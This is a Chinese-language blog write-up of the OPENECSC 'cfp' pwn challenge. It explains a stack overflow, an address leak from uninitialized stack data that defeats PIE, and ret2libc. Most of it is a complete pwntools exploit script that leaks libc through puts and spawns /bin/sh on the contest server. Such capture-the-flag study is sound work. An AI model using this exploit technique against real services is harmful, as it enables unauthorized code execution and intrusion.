2025-10-02-OPENECSC-cfp

题目简介

OPENECSC pwn第一题,详见OPENECSC-cfp

学到的一种新的泄露地址的方法,记录一下

漏洞点分析

首先checksec,看到没开canary,其他都开了:


进入IDA,发现溢出点在main函数的fgets,允许我们输入256字节,可以覆盖到返回地址:


有puts函数,想到可以ret2libc

但是开了PIE,如果采用二阶段打法,先调puts泄露libc地址,需要泄露elf的基地址才能用gadget去控rdi,或者用别的办法泄露libc

进一步分析发现admin_func里存在输出功能,如下:


user_func也类似:


这里学到一种新的思路:未初始化(memset)的情况下,栈上有可能残留和ELF相关的真实地址,于是调试分析一下

最终可以看到,在admin_func输出之前,栈上确实有一个ELF的真实地址:


因此利用思路为ret2libc,难点在于泄露地址,解决方法就是找一个在printf之前固定会有的的地址,通过溢出控制最后0x00截断的位置刚好到那里,类似下图:


可以看到倒数第二行固定有一个ELF文件地址,偏移是0x11a9,这个值是固定的,只要泄露该地址-0x11a9就能得到ELF地址进而得到gadget,然后就是常规的二阶段打法ret2libc了

漏洞点利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
targetELF="./app"
libcPath="/home/k40/Pwn/Exercise/OPENECSC-cfp/libc.so.6"
context.terminal=["tmux","splitw","-h"]
LOCAL=1
REMOTE=2
DEBUG=3
mode=REMOTE
gs = '''
set debug-file-directory /home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/.debug
'''

elf=ELF(targetELF)
libc=ELF(libcPath)
leakFuncName="puts"


def Lauch():
if mode==LOCAL:
io=process(targetELF)
return io
elif mode==REMOTE:
io=remote("bf44ea4d-2baa-4449-8289-53b21ae5d766.openec.sc",31337,ssl=True)
return io
elif mode==DEBUG:
io=gdb.debug(targetELF,"b *main+55")
return io

ioTube=Lauch()

retOffset=0x70+0x8
libOffset=0x24083
elfOffset=0x11a9
gotOffset=elf.got[leakFuncName]
pltOffset=elf.plt["puts"]

if mode==LOCAL or mode==DEBUG:
ioTube.recvuntil("Hello functional world! Whats your name?")
payload=b"admin"+b'A'*(retOffset-2-5)
ioTube.sendline(payload)
if mode==REMOTE:
ioTube.recvuntil("Hello functional world! Whats your name?")
ioTube.recv(0x68)
info=ioTube.recvuntil('!')
elfLeak=u64(info[0x68+6:-1].ljust(8,b'\x00'))
elfBase=elfLeak-elfOffset

ioTube.recvuntil("Hello functional world! Whats your name?")

putsGOT=elfBase+gotOffset
putsPLT=elfBase+pltOffset
pop_rdi_ret=elfBase+0x1323
retAlignPadding=elfBase+0x101a
backAddr=elfBase+elf.symbols["_start"]

payload=b'1'*retOffset+p64(pop_rdi_ret)+p64(putsGOT)+p64(putsPLT)+p64(backAddr)
ioTube.sendline(payload)
ioTube.recvuntil("bye!")
ioTube.recvline()
libcLeak=u64(ioTube.recvline()[:-1].ljust(8,b'\x00'))
libcBase=libcLeak-libc.symbols[leakFuncName]

systemAddr=libcBase+libc.symbols["system"]
binshAddr=libcBase+next(libc.search("/bin/sh"))

ioTube.recvuntil("Hello functional world! Whats your name?")
payload=b'2'*retOffset+p64(retAlignPadding)+p64(pop_rdi_ret)+p64(binshAddr)+p64(systemAddr)
ioTube.sendline(payload)
ioTube.recvuntil("bye!")
ioTube.interactive()

最后值得提一下的是服务器端没有setbuf,因此交互行为和本地略有区别

以及服务端开启了SSL,因此remote接口也要加上ssl=True的参数


2025-10-02-OPENECSC-cfp
http://0x4a-210.github.io/2025/10/03/pwn刷题记录/比赛题解/2025-10-02-OPENECSC-cfp/
Posted on
October 3, 2025
Licensed under